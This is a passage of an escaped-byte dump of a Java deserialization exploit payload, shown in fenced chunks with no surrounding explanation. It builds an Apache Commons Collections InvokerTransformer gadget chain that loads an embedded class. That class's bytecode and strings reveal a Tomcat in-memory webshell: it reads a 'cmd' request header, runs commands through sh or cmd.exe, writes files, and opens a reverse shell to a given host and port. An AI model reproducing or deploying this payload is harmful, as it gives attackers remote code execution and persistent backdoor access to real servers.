erXv\x90\x11A\x02\xb1\x94\x02\x00\x01L\x00\x09iConstantq\x00~\x00\x03xpvr\x00*org
.mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00xpsr\x00:org.apache.commons.collections.functors.InvokerTransformer\x87\xe8\xff
k\x7b|\xce8\x02\x00\x03[\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\x0biMethod
Namet\x00\x12Ljava/lang/String;
[\x00\x0biParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;\x9
0\xceX\x9f\x10s\x29l\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x12[Ljava.lang.Class;\xa
b\x16\xd7\xae\xcb\xcdZ\x99\x02\x00\x00xp\x00\x00\x00\x00t\x00\x16getDeclaredConst
ructoruq\x00~\x00\x1a\x00\x00\x00\x01vq\x00~\x00\x1asq\x00~\x00\x13uq\x00~\x00\x1
8\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00\x00t\x00\x0bnewInstanceuq\x00~\x00\x
1a\x00\x00\x00\x01vq\x00~\x00\x18sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x02t\
x00\x02A4ur\x00\x02[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\x00\x00xp\x00\x00\x1b\xbb\
xca\xfe\xba\xbe\x00\x00\x001\x01\x9a\x0a\x00\x1e\x00\xad\x0a\x00C\x00\xae\x0a\x00
C\x00\xaf\x0a\x00\x1e\x00\xb0\x08\x00\xb1\x0a\x00\x1c\x00\xb2\x0a\x00\xb3\x00\xb4
\x0a\x00\xb3\x00\xb5\x07\x00\xb6\x0a\x00C\x00\xb7\x08\x00\xa5\x0a\x00!\x00\xb8\x0
8\x00\xb9\x08\x00\xba\x07\x00\xbb\x08\x00\xbc\x08\x00\xbd\x07\x00\xbe\x0a\x00\x1c
\x00\xbf\x08\x00\xc0\x08\x00\xc1\x07\x00\xc2\x0b\x00\x16\x00\xc3\x0b\x00\xc4\x00\
xc5\x0b\x00\xc4\x00\xc6\x08\x00\xc7\x08\x00\xc8\x07\x00\xc9\x0a\x00\x1c\x00\xca\x
07\x00\xcb\x0a\x00\xcc\x00\xcd\x08\x00\xce\x07\x00\xcf\x08\x00\xd0\x0a\x00\x8f\x0
0\xd1\x0a\x00!\x00\xd2\x08\x00\xd3\x09\x00\xd4\x00\xd5\x0a\x00\xd4\x00\xd6\x08\x0
0\xd7\x0a\x00\x8f\x00\xd8\x0a\x00\x1c\x00\xd9\x08\x00\xda\x07\x00\xdb\x0a\x00\x1c
\x00\xdc\x08\x00\xdd\x07\x00\xde\x08\x00\xdf\x08\x00\xe0\x0a\x00\x1c\x00\xe1\x07\
x00\xe2\x0a\x00C\x00\xe3\x0a\x00\xe4\x00\xd8\x08\x00\xe5\x0a\x00!\x00\xe6\x08\x00
\xe7\x0a\x00!\x00\xe8\x08\x00\xe9\x0a\x00!\x00\xea\x0a\x00\x8f\x00\xeb\x08\x00\xe
c\x0a\x00!\x00\xed\x08\x00\xee\x09\x00\x8f\x00\xef\x0a\x00\xd4\x00\xf0\x09\x00\x8
f\x00\xf1\x07\x00\xf2\x0a\x00C\x00\xf3\x0a\x00C\x00\xf4\x08\x00\xa6\x08\x00\xf5\x
08\x00\xf6\x0a\x00\x8f\x00\xf7\x08\x00\xf8\x0a\x00\x8f\x00\xf9\x07\x00\xfa\x0a\x0
0L\x00\xfb\x07\x00\xfc\x0a\x00N\x00\xfd\x0a\x00\x8f\x00\xfe\x0a\x00N\x00\xff\x0a\
x00N\x01\x00\x0a\x00N\x01\x01\x0a\x00/\x01\x02\x0a\x00L\x01\x03\x0a\x00!\x01\x04\
x08\x01\x05\x0a\x01\x06\x01\x07\x0a\x00!\x01\x08\x08\x01\x09\x08\x01\x0a\x08\x01\
x0b\x07\x01\x0c\x0a\x00]\x00\xad\x0a\x00]\x01\x0d\x08\x01\x0e\x0a\x00]\x01\x02\x0
8\x01\x0f\x08\x01\x10\x08\x01\x11\x08\x01\x12\x0a\x01\x13\x01\x14\x0a\x01\x13\x01
\x15\x07\x01\x16\x0a\x01\x17\x01\x18\x0a\x00h\x01\x19\x08\x01\x1a\x0a\x00h\x01\x1
b\x0a\x00h\x00\xc5\x0a\x00h\x01\x1c\x0a\x01\x17\x01\x1d\x0a\x01\x17\x01\x1e\x08\x
01\x1f\x08\x01
\x0a\x01\x13\x01!\x07\x01\"\x0a\x00t\x01#\x0a\x00t\x01\x18\x0a\x01\x17\x01$\x0a\x
00t\x01$\x0a\x00t\x01%\x0a\x01&\x01'\x0a\x01&\x01\x28\x0a\x01\x29\x01*\x0a\x01\x2
9\x01\x00\x05\x00\x00\x00\x00\x00\x00\x002\x0a\x00C\x01+\x0a\x01\x17\x01,\x0a\x00
t\x01\x01\x08\x01-
\x0a\x00/\x01.\x08\x01/\x08\x010\x0a\x00\xd4\x011\x0a\x00\x8f\x012\x08\x013\x08\x
014\x08\x015\x08\x016\x08\x00\xa9\x08\x017\x07\x018\x01\x00\x0cBASE64_CHARS\x01\x
00\x12Ljava/lang/String;\x01\x00\x0dConstantValue\x08\x019\x01\x00\x02ip\x01\x00\
x04port\x01\x00\x13Ljava/lang/Integer;\x01\x00\x06<init>\x01\x00\x03\x28\x29V\x01
\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x0aExceptions\x01\x00\x09loadClas
s\x01\x00%\x28Ljava/lang/String;\x29Ljava/lang/Class;\x01\x00\x09Signature\x01\x0
```

```
0\x28\x28Ljava/lang/String;\x29Ljava/lang/Class<*>;\x01\x00\x05proxy\x01\x00&\x28
Ljava/lang/String;\x29Ljava/lang/String;\x01\x00\x05write\x01\x008\x28Ljava/lang/
String;Ljava/lang/String;\x29Ljava/lang/String;\x01\x00\x0aclearParam\x01\x00\x04
exec\x01\x00\x07reverse\x01\x00'\x28Ljava/lang/String;I\x29Ljava/lang/String;\x01
\x00\x03run\x01\x00\x06decode\x01\x00\x16\x28Ljava/lang/String;\x29[B\x01\x00\x0a
SourceFile\x01\x00\x07A4.java\x0c\x00\x97\x00\x98\x0c\x01:\x01;\x0c\x01<\x01=\x0c
\x01>\x01?
\x01\x00\x07threads\x0c\x01@\x01A\x07\x01B\x0c\x01C\x01D\x0c\x01E\x01F\x01\x00\x1
3[Ljava/lang/Thread;\x0c\x01G\x01H\x0c\x01I\x01J\x01\x00\x04http\x01\x00\x06targe
t\x01\x00\x12java/lang/Runnable\x01\x00\x06this$0\x01\x00\x07handler\x01\x00\x1ej
ava/lang/NoSuchFieldException\x0c\x01K\x01?
\x01\x00\x06global\x01\x00\x0aprocessors\x01\x00\x0ejava/util/List\x0c\x01L\x01M\
x07\x01N\x0c\x01O\x01P\x0c\x01Q\x01R\x01\x00\x03req\x01\x00\x0bgetResponse\x01\x0
0\x0fjava/lang/Class\x0c\x01S\x01T\x01\x00\x10java/lang/Object\x07\x01U\x0c\x01V\
x01W\x01\x00\x09getHeader\x01\x00\x10java/lang/String\x01\x00\x03cmd\x0c\x00\xa0\
x00\xa1\x0c\x01X\x01Y\x01\x00\x09setStatus\x07\x01Z\x0c\x01[\x01\\\x0c\x01]\x01^\
x01\x00$org.apache.tomcat.util.buf.ByteChunk\x0c\x00\x9c\x00\x9d\x0c\x01_\x01R\x0
1\x00\x08setBytes\x01\x00\x02[B\x0c\x01`\x01T\x01\x00\x07doWrite\x01\x00\x13java/
lang/Exception\x01\x00\x13java.nio.ByteBuffer\x01\x00\x04wrap\x0c\x01a\x00\x9d\x0
1\x00
java/lang/ClassNotFoundException\x0c\x01b\x01c\x07\x01d\x01\x00\x00\x0c\x01e\x01f
\x01\x00\x10command not
null\x0c\x01g\x01H\x01\x00\x05#####\x0c\x01h\x01i\x0c\x00\xa4\x00\xa1\x01\x00\x01
:\x0c\x01j\x01k\x01\x00\"command reverse host format
error!\x0c\x00\x94\x00\x91\x0c\x01l\x01m\x0c\x00\x95\x00\x96\x01\x00\x10java/lang
/Thread\x0c\x00\x97\x01n\x0c\x01o\x00\x98\x01\x00\x05$$$$$\x01\x00\x12file format
error!\x0c\x00\xa2\x00\xa3\x01\x00\x05@@@@@\x0c\x00\xa5\x00\xa1\x01\x00\x0cjava/i
o/File\x0c\x00\x97\x01p\x01\x00\x18java/io/FileOutputStream\x0c\x00\x97\x01q\x0c\
x00\xa9\x00\xaa\x0c\x00\xa2\x01r\x0c\x01s\x00\x98\x0c\x01t\x00\x98\x0c\x01u\x01H\
x0c\x01v\x01H\x0c\x01w\x01x\x01\x00\x07os.name\x07\x01y\x0c\x01z\x00\xa1\x0c\x01\
x7b\x01H\x01\x00\x03win\x01\x00\x04ping\x01\x00\x02-
n\x01\x00\x17java/lang/StringBuilder\x0c\x01|\x01\x7d\x01\x00\x05 -n
4\x01\x00\x02/c\x01\x00\x05 -t 4\x01\x00\x02sh\x01\x00\x02-
c\x07\x01~\x0c\x01\x7f\x01\x80\x0c\x00\xa5\x01\x81\x01\x00\x11java/util/Scanner\x
07\x01\x82\x0c\x01\x83\x01\x84\x0c\x00\x97\x01\x85\x01\x00\x02\\a\x0c\x01\x86\x01
\x87\x0c\x01Q\x01H\x0c\x01\x88\x01\x84\x0c\x01\x89\x00\x98\x01\x00\x07/bin/sh\x01
\x00\x07cmd.exe\x0c\x00\xa5\x01\x8a\x01\x00\x0fjava/net/Socket\x0c\x00\x97\x01\x8
b\x0c\x01\x8c\x01\x8d\x0c\x01\x8e\x01P\x07\x01\x8f\x0c\x01\x90\x01\x91\x0c\x01\x9
2\x01\x91\x07\x01\x93\x0c\x00\xa2\x01\x94\x0c\x01\x95\x01\x96\x0c\x01\x97\x01\x91
\x01\x00\x1dreverse execute error, msg -
>\x0c\x01\x98\x01H\x01\x00\x01!\x01\x00\x13reverse execute
ok!\x0c\x01\x99\x01\x91\x0c\x00\xa6\x00\xa7\x01\x00\x16sun.misc.BASE64Decoder\x01
\x00\x0cdecodeBuffer\x01\x00\x10java.util.Base64\x01\x00\x0agetDecoder\x01\x00&or
g.apache.commons.codec.binary.Base64\x01\x00\x02A4\x01\x00@ABCDEFGHIJKLMNOPQRSTUV
WXYZabcdefghijklmnopqrstuvwxyz0123456789+/\x01\x00\x0dcurrentThread\x01\x00\x14\x
28\x29Ljava/lang/Thread;\x01\x00\x0egetThreadGroup\x01\x00\x19\x28\x29Ljava/lang/
ThreadGroup;\x01\x00\x08getClass\x01\x00\x13\x28\x29Ljava/lang/Class;\x01\x00\x10
getDeclaredField\x01\x00-
\x28Ljava/lang/String;\x29Ljava/lang/reflect/Field;\x01\x00\x17java/lang/reflect/
Field\x01\x00\x0dsetAccessible\x01\x00\x04\x28Z\x29V\x01\x00\x03get\x01\x00&\x28L
java/lang/Object;\x29Ljava/lang/Object;\x01\x00\x07getName\x01\x00\x14\x28\x29Lja
va/lang/String;\x01\x00\x08contains\x01\x00\x1b\x28Ljava/lang/CharSequence;\x29Z\
x01\x00\x0dgetSuperclass\x01\x00\x08iterator\x01\x00\x16\x28\x29Ljava/util/Iterat
or;\x01\x00\x12java/util/Iterator\x01\x00\x07hasNext\x01\x00\x03\x28\x29Z\x01\x00
\x04next\x01\x00\x14\x28\x29Ljava/lang/Object;\x01\x00\x09getMethod\x01\x00@\x28L
java/lang/String;
```

```
[Ljava/lang/Class;\x29Ljava/lang/reflect/Method;\x01\x00\x18java/lang/reflect/Met
hod\x01\x00\x06invoke\x01\x009\x28Ljava/lang/Object;
[Ljava/lang/Object;\x29Ljava/lang/Object;\x01\x00\x08getBytes\x01\x00\x04\x28\x29
[B\x01\x00\x11java/lang/Integer\x01\x00\x04TYPE\x01\x00\x11Ljava/lang/Class;\x01\
x00\x07valueOf\x01\x00\x16\x28I\x29Ljava/lang/Integer;\x01\x00\x0bnewInstance\x01
\x00\x11getDeclaredMethod\x01\x00\x07forName\x01\x00\x15getContextClassLoader\x01
\x00\x19\x28\x29Ljava/lang/ClassLoader;\x01\x00\x15java/lang/ClassLoader\x01\x00\
x06equals\x01\x00\x15\x28Ljava/lang/Object;\x29Z\x01\x00\x04trim\x01\x00\x0astart
sWith\x01\x00\x15\x28Ljava/lang/String;\x29Z\x01\x00\x05split\x01\x00'\x28Ljava/l
ang/String;\x29[Ljava/lang/String;\x01\x00\x08parseInt\x01\x00\x15\x28Ljava/lang/
String;\x29I\x01\x00\x17\x28Ljava/lang/Runnable;\x29V\x01\x00\x05start\x01\x00\x1
5\x28Ljava/lang/String;\x29V\x01\x00\x11\x28Ljava/io/File;\x29V\x01\x00\x05\x28[B
\x29V\x01\x00\x05flush\x01\x00\x05close\x01\x00\x08toString\x01\x00\x0fgetAbsolut
ePath\x01\x00\x07replace\x01\x00D\x28Ljava/lang/CharSequence;Ljava/lang/CharSeque
nce;\x29Ljava/lang/String;\x01\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01
\x00\x0btoLowerCase\x01\x00\x06append\x01\x00-
\x28Ljava/lang/String;\x29Ljava/lang/StringBuilder;\x01\x00\x11java/lang/Runtime\
x01\x00\x0agetRuntime\x01\x00\x15\x28\x29Ljava/lang/Runtime;\x01\x00\x28\x28[Ljav
a/lang/String;\x29Ljava/lang/Process;\x01\x00\x11java/lang/Process\x01\x00\x0eget
InputStream\x01\x00\x17\x28\x29Ljava/io/InputStream;\x01\x00\x18\x28Ljava/io/Inpu
tStream;\x29V\x01\x00\x0cuseDelimiter\x01\x00'\x28Ljava/lang/String;\x29Ljava/uti
l/Scanner;\x01\x00\x0egetErrorStream\x01\x00\x07destroy\x01\x00'\x28Ljava/lang/St
ring;\x29Ljava/lang/Process;\x01\x00\x16\x28Ljava/lang/String;I\x29V\x01\x00\x0fg
etOutputStream\x01\x00\x18\x28\x29Ljava/io/OutputStream;\x01\x00\x08isClosed\x01\
x00\x13java/io/InputStream\x01\x00\x09available\x01\x00\x03\x28\x29I\x01\x00\x04r
ead\x01\x00\x14java/io/OutputStream\x01\x00\x04\x28I\x29V\x01\x00\x05sleep\x01\x0
0\x04\x28J\x29V\x01\x00\x09exitValue\x01\x00\x0agetMessage\x01\x00\x08intValue\x0
0!\x00\x8f\x00\x1e\x00\x01\x00\x0f\x00\x03\x00\x1a\x00\x90\x00\x91\x00\x01\x00\x9
2\x00\x00\x00\x02\x00\x93\x00\x02\x00\x94\x00\x91\x00\x00\x00\x02\x00\x95\x00\x96
\x00\x00\x00\x09\x00\x01\x00\x97\x00\x98\x00\x02\x00\x99\x00\x00\x03\xb6\x00\x06\
x00\x13\x00\x00\x02\x8e*\xb7\x00\x01\xb8\x00\x02\xb6\x00\x03L+\xb6\x00\x04\x12\x0
5\xb6\x00\x06M,\x04\xb6\x00\x07,+\xb6\x00\x08\xc0\x00\x09\xc0\x00\x09N-:\x04\x19\
x04\xbe6\x05\x036\x06\x15\x06\x15\x05\xa2\x02X\x19\x04\x15\x062:\x07\x19\x07\xc7\
x00\x06\xa7\x02C\x19\x07\xb6\x00\x0a:\x08\x19\x08\x12\x0b\xb6\x00\x0c\x9a\x00\x0d
\x19\x08\x12\x0d\xb6\x00\x0c\x9a\x00\x06\xa7\x02%\x19\x07\xb6\x00\x04\x12\x0e\xb6
\x00\x06M,\x04\xb6\x00\x07,\x19\x07\xb6\x00\x08:\x09\x19\x09\xc1\x00\x0f\x9a\x00\
x06\xa7\x02\x02\x19\x09\xb6\x00\x04\x12\x10\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x0
9\xb6\x00\x08:\x09\x19\x09\xb6\x00\x04\x12\x11\xb6\x00\x06M\xa7\x00\x16:\x0a\x19\
x09\xb6\x00\x04\xb6\x00\x13\xb6\x00\x13\x12\x11\xb6\x00\x06M,\x04\xb6\x00\x07,\x1
9\x09\xb6\x00\x08:\x09\x19\x09\xb6\x00\x04\xb6\x00\x13\x12\x14\xb6\x00\x06M\xa7\x
00\x10:\x0a\x19\x09\xb6\x00\x04\x12\x14\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x09\xb
6\x00\x08:\x09\x19\x09\xb6\x00\x04\x12\x15\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x09
\xb6\x00\x08\xc0\x00\x16\xc0\x00\x16:\x0a\x19\x0a\xb9\x00\x17\x01\x00:\x0b\x19\x0
b\xb9\x00\x18\x01\x00\x99\x01[\x19\x0b\xb9\x00\x19\x01\x00:\x0c\x19\x0c\xb6\x00\x
04\x12\x1a\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x0c\xb6\x00\x08:\x0d\x19\x0d\xb6\x0
0\x04\x12\x1b\x03\xbd\x00\x1c\xb6\x00\x1d\x19\x0d\x03\xbd\x00\x1e\xb6\x00\x1f:\x0
e\x19\x0d\xb6\x00\x04\x12
\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d\x19\x0d\x04\xbd\x00\x1eY\x03\x12\"S\xb6\x
00\x1f\xc0\x00!:\x0f\x19\x0f\xc7\x00\x06\xa7\xff\x91*\x19\x0f\xb6\x00#\xb6\x00$:\
x10\x19\x0e\xb6\x00\x04\x12%\x04\xbd\x00\x1cY\x03\xb2\x00&S\xb6\x00\x1d\x19\x0e\x
04\xbd\x00\x1eY\x03\x11\x00\xc8\xb8\x00'S\xb6\x00\x1fW*\x12\x28\xb6\x00\x29:\x11\
x19\x11\xb6\x00*:\x09\x19\x11\x12+\x06\xbd\x00\x1cY\x03\x12,SY\x04\xb2\x00&SY\x05
\xb2\x00&S\xb6\x00-
\x19\x09\x06\xbd\x00\x1eY\x03\x19\x10SY\x04\x03\xb8\x00'SY\x05\x19\x10\xbe\xb8\x0
0'S\xb6\x00\x1fW\x19\x0e\xb6\x00\x04\x12.\x04\xbd\x00\x1cY\x03\x19\x11S\xb6\x00\x
1d\x19\x0e\x04\xbd\x00\x1eY\x03\x19\x09S\xb6\x00\x1fW\xa7\x00o:\x11*\x120\xb6\x00
\x29:\x12\x19\x12\x121\x04\xbd\x00\x1cY\x03\x12,S\xb6\x00-
\x19\x12\x04\xbd\x00\x1eY\x03\x19\x10S\xb6\x00\x1f:\x09\x19\x0e\xb6\x00\x04\x12.\
x04\xbd\x00\x1cY\x03\x19\x12S\xb6\x00\x1d\x19\x0e\x04\xbd\x00\x1eY\x03\x19\x09S\x
b6\x00\x1fW\xa7\x00\x0e\xa7\x00\x05:\x08\x84\x06\x01\xa7\xfd\xa7\xb1\x00\x07\x00\
xa0\x00\xab\x00\xae\x00\x12\x00\xce\x00\xdc\x00\xdf\x00\x12\x01\xc4\x020\x023\x00
/\x00?
\x00D\x02\x85\x00/\x00G\x00b\x02\x85\x00/\x00e\x00\x85\x02\x85\x00/\x00\x88\x02\x
7f\x02\x85\x00/\x00\x01\x00\x9a\x00\x00\x00\xde\x007\x00\x00\x00\x17\x00\x04\x00\
x18\x00\x0b\x00\x19\x00\x15\x00\x1a\x00\x1a\x00\x1b\x00&\x00\x1d\x00?
\x00\x1f\x00G\x00
\x00N\x00!\x00e\x00\"\x00p\x00#\x00u\x00$\x00\x7d\x00%\x00\x88\x00&\x00\x93\x00'\
x00\x98\x00\x28\x00\xa0\x00*\x00\xab\x00-
\x00\xae\x00+\x00\xb0\x00,\x00\xc1\x00.\x00\xc6\x00/\x00\xce\x001\x00\xdc\x004\x0
0\xdf\x002\x00\xe1\x003\x00\xec\x005\x00\xf1\x006\x00\xf9\x007\x01\x04\x008\x01\x
09\x009\x01\x17\x00:\x013\x00;\x01>\x00<\x01C\x00=\x01K\x00>\x01d\x00?
\x01\x8a\x00@\x01\x8f\x00A\x01\x92\x00C\x01\x9d\x00D\x01\xc4\x00F\x01\xcc\x00G\x0
1\xd3\x00H\x02\x0e\x00I\x020\x00N\x023\x00J\x025\x00K\x02=\x00L\x02]\x00M\x02\x7f
\x00O\x02\x82\x00S\x02\x85\x00Q\x02\x87\x00\x1d\x02\x8d\x00U\x00\x9b\x00\x00\x00\
x04\x00\x01\x00/\x00\x01\x00\x9c\x00\x9d\x00\x03\x00\x99\x00\x00\x009\x00\x02\x00
\x03\x00\x00\x00\x11+\xb8\x002\xb0M\xb8\x00\x02\xb6\x004+\xb6\x005\xb0\x00\x01\x0
0\x00\x00\x04\x00\x05\x003\x00\x01\x00\x9a\x00\x00\x00\x0e\x00\x03\x00\x00\x00_\x
00\x05\x00`\x00\x06\x00a\x00\x9b\x00\x00\x00\x04\x00\x01\x003\x00\x9e\x00\x00\x00
\x02\x00\x9f\x00\x01\x00\xa0\x00\xa1\x00\x01\x00\x99\x00\x00\x00\xff\x00\x04\x00\
x04\x00\x00\x00\x9b+\xc6\x00\x0c\x126+\xb6\x007\x99\x00\x06\x128\xb0+\xb6\x009L+\
x12:\xb6\x00;\x99\x00;*+\xb7\x00<\x12=\xb6\x00>M,\xbe\x05\x9f\x00\x06\x12?
\xb0*,\x032\xb5\x00@*,\x042\xb8\x00A\xb8\x00'\xb5\x00B\xbb\x00CY*\xb7\x00DN-
\xb6\x00E\x12F\xb0+\x12G\xb6\x00;\x99\x00\"*+\xb7\x00<\x12=\xb6\x00>M,\xbe\x05\x9
f\x00\x06\x12H\xb0*,\x032,\x042\xb6\x00I\xb0+\x12J\xb6\x00;\x99\x00\x0d**+\xb7\x0
0<\xb6\x00K\xb0**+\xb7\x00<\xb6\x00K\xb0\x00\x00\x00\x01\x00\x9a\x00\x00\x00R\x00
\x14\x00\x00\x00k\x00\x0d\x00l\x00\x10\x00n\x00\x15\x00o\x00\x1e\x00q\x00\x29\x00
r\x00/\x00s\x002\x00u\x009\x00v\x00F\x00w\x00O\x00x\x00S\x00y\x00V\x00z\x00_\x00\
x7b\x00j\x00|\x00p\x00\x7d\x00s\x00\x7f\x00~\x00\x80\x00\x87\x00\x81\x00\x91\x00\
x83\x00\x01\x00\xa2\x00\xa3\x00\x01\x00\x99\x00\x00\x00v\x00\x03\x00\x05\x00\x00\
x006\xbb\x00LY+\xb7\x00MN\xbb\x00NY-
\xb7\x00O:\x04\x19\x04,\xb8\x00P\xb6\x00Q\x19\x04\xb6\x00R\x19\x04\xb6\x00S\xa7\x
00\x0b:\x04\x19\x04\xb6\x00T\xb0-
\xb6\x00U\xb0\x00\x01\x00\x09\x00&\x00\x29\x00/\x00\x01\x00\x9a\x00\x00\x00&\x00\
x09\x00\x00\x00\x8e\x00\x09\x00\x90\x00\x13\x00\x91\x00\x1c\x00\x92\x00!\x00\x93\
x00&\x00\x96\x00\x29\x00\x94\x00+\x00\x95\x001\x00\x97\x00\x02\x00\xa4\x00\xa1\x0
0\x01\x00\x99\x00\x00\x00/\x00\x03\x00\x02\x00\x00\x00\x17+\x12:\x126\xb6\x00V\x1
2J\x126\xb6\x00V\x12G\x126\xb6\x00V\xb0\x00\x00\x00\x01\x00\x9a\x00\x00\x00\x06\x
00\x01\x00\x00\x00\xa0\x00\x01\x00\xa5\x00\xa1\x00\x01\x00\x99\x00\x00\x01\xc3\x0
0\x04\x00\x09\x00\x00\x01'\x12W\xb8\x00X\xb6\x00YM+\xb6\x009L\x01N,\x12Z\xb6\x00\
x0c\x99\x00@+\x12[\xb6\x00\x0c\x99\x00
+\x12\\\xb6\x00\x0c\x9a\x00\x17\xbb\x00]Y\xb7\x00^+\xb6\x00_\x12`\xb6\x00_\xb6\x0
0aL\x06\xbd\x00!Y\x03\x12\"SY\x04\x12bSY\x05+S:\x04\xa7\x00=+\x12[\xb6\x00\x0c\x9
9\x00
+\x12\\\xb6\x00\x0c\x9a\x00\x17\xbb\x00]Y\xb7\x00^+\xb6\x00_\x12c\xb6\x00_\xb6\x0
0aL\x06\xbd\x00!Y\x03\x12dSY\x04\x12eSY\x05+S:\x04\xb8\x00f\x19\x04\xb6\x00gN\xbb
\x00hY-
\xb6\x00i\xb7\x00j\x12k\xb6\x00l:\x05\x19\x05\xb6\x00m\x99\x00\x0b\x19\x05\xb6\x0
0n\xa7\x00\x05\x126:\x06\xbb\x00hY-
\xb6\x00o\xb7\x00j\x12k\xb6\x00l:\x05\xbb\x00]Y\xb7\x00^\x19\x06\xb6\x00_\x19\x05
\xb6\x00m\x99\x00\x0b\x19\x05\xb6\x00n\xa7\x00\x05\x126\xb6\x00_\xb6\x00a:\x06\x1
9\x06:\x07-\xc6\x00\x07-\xb6\x00p\x19\x07\xb0:\x05\x19\x05\xb6\x00T:\x06-
\xc6\x00\x07-\xb6\x00p\x19\x06\xb0:\x08-\xc6\x00\x07-
```

```
\xb6\x00p\x19\x08\xbf\x00\x04\x00\x90\x00\xfb\x01\x06\x00/\x00\x90\x00\xfb\x01\x1
a\x00\x00\x01\x06\x01\x0f\x01\x1a\x00\x00\x01\x1a\x01\x1c\x01\x1a\x00\x00\x00\x01
\x00\x9a\x00\x00\x00j\x00\x1a\x00\x00\x00\xa9\x00\x09\x00\xaa\x00\x0e\x00\xab\x00
\x10\x00\xad\x00\x19\x00\xae\x00+\x00\xaf\x00?
\x00\xb1\x00V\x00\xb3\x00h\x00\xb4\x00|\x00\xb6\x00\x90\x00\xb9\x00\x99\x00\xba\x
00\xab\x00\xbb\x00\xbf\x00\xbc\x00\xd1\x00\xbd\x00\xf7\x00\xbe\x00\xfb\x00\xc2\x0
0\xff\x00\xc3\x01\x03\x00\xbe\x01\x06\x00\xbf\x01\x08\x00\xc0\x01\x0f\x00\xc2\x01
\x13\x00\xc3\x01\x17\x00\xc0\x01\x1a\x00\xc2\x01
\x00\xc3\x00\x01\x00\xa6\x00\xa7\x00\x01\x00\x99\x00\x00\x01r\x00\x04\x00\x0c\x00
\x00\x00\xe2\x12W\xb8\x00X\xb6\x00Y\x12Z\xb6\x00\x0c\x9a\x00\x09\x12qN\xa7\x00\x0
6\x12rN\xb8\x00f-
\xb6\x00s:\x04\xbb\x00tY+\x1c\xb7\x00u:\x05\x19\x04\xb6\x00i:\x06\x19\x04\xb6\x00
o:\x07\x19\x05\xb6\x00v:\x08\x19\x04\xb6\x00w:\x09\x19\x05\xb6\x00x:\x0a\x19\x05\
xb6\x00y\x9a\x00`\x19\x06\xb6\x00z\x9e\x00\x10\x19\x0a\x19\x06\xb6\x00\x7b\xb6\x0
0|\xa7\xff\xee\x19\x07\xb6\x00z\x9e\x00\x10\x19\x0a\x19\x07\xb6\x00\x7b\xb6\x00|\
xa7\xff\xee\x19\x08\xb6\x00z\x9e\x00\x10\x19\x09\x19\x08\xb6\x00\x7b\xb6\x00|\xa7
\xff\xee\x19\x0a\xb6\x00\x7d\x19\x09\xb6\x00\x7d\x14\x00~\xb8\x00\x80\x19\x04\xb6
\x00\x81W\xa7\x00\x08:\x0b\xa7\xff\x9e\x19\x04\xb6\x00p\x19\x05\xb6\x00\x82\xa7\x
00 N\xbb\x00]Y\xb7\x00^\x12\x83\xb6\x00_-
\xb6\x00\x84\xb6\x00_\x12\x85\xb6\x00_\xb6\x00a\xb0\x12\x86\xb0\x00\x02\x00\xa7\x
00\xad\x00\xb0\x00/\x00\x00\x00\xbf\x00\xc2\x00/\x00\x01\x00\x9a\x00\x00\x00n\x00
\x1b\x00\x00\x00\xd1\x00\x10\x00\xd2\x00\x16\x00\xd4\x00\x19\x00\xd6\x00\"\x00\xd
7\x00-
\x00\xd8\x00B\x00\xd9\x00P\x00\xda\x00X\x00\xdb\x00`\x00\xdc\x00m\x00\xde\x00u\x0
0\xdf\x00\x82\x00\xe1\x00\x8a\x00\xe2\x00\x97\x00\xe4\x00\x9c\x00\xe5\x00\xa1\x00
\xe6\x00\xa7\x00\xe8\x00\xad\x00\xe9\x00\xb0\x00\xea\x00\xb2\x00\xeb\x00\xb5\x00\
xed\x00\xba\x00\xee\x00\xbf\x00\xf1\x00\xc2\x00\xef\x00\xc3\x00\xf0\x00\xdf\x00\x
f2\x00\x01\x00\xa8\x00\x98\x00\x01\x00\x99\x00\x00\x00-
\x00\x03\x00\x01\x00\x00\x00\x11**\xb4\x00@*\xb4\x00B\xb6\x00\x87\xb6\x00\x88W\xb
1\x00\x00\x00\x01\x00\x9a\x00\x00\x00\x0a\x00\x02\x00\x00\x00\xf7\x00\x10\x00\xf8
\x00\x09\x00\xa9\x00\xaa\x00\x01\x00\x99\x00\x00\x01\x1c\x00\x06\x00\x04\x00\x00\
x00\xac\x01L\x12\x89\xb8\x002M,\x12\x8a\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d,\x
b6\x00*\x04\xbd\x00\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xc7\x
00C\x12\x8b\xb8\x002\x12\x8c\x03\xbd\x00\x1c\xb6\x00\x1d\x01\x03\xbd\x00\x1e\xb6\
x00\x1fM,\xb6\x00\x04\x12\x8d\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1d,\x04\xbd\x00
\x1eY\x03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xc7\x004\x12\x8e\xb8\x00
2M,\x12\x8d\x04\xbd\x00\x1cY\x03\x12!S\xb6\x00\x1dN-,\xb6\x00*\x04\xbd\x00\x1eY\x
03*S\xb6\x00\x1f\xc0\x00,\xc0\x00,L\xa7\x00\x04M+\xb0\x00\x03\x00\x02\x00-
\x000\x00/\x005\x00q\x00t\x00/\x00y\x00\xa6\x00\xa9\x00/\x00\x01\x00\x9a\x00\x00\
x00F\x00\x11\x00\x00\x01\x00\x00\x02\x01\x02\x00\x08\x01\x03\x00-
\x01\x06\x000\x01\x04\x001\x01\x07\x005\x01\x09\x00L\x01\x0a\x00q\x01\x0d\x00t\x0
1\x0b\x00u\x01\x0f\x00y\x01\x11\x00\x7f\x01\x12\x00\x8f\x01\x13\x00\xa6\x01\x16\x
00\xa9\x01\x14\x00\xaa\x01\x18\x00\x01\x00\xab\x00\x00\x00\x02\x00\xact\x00\x0bde
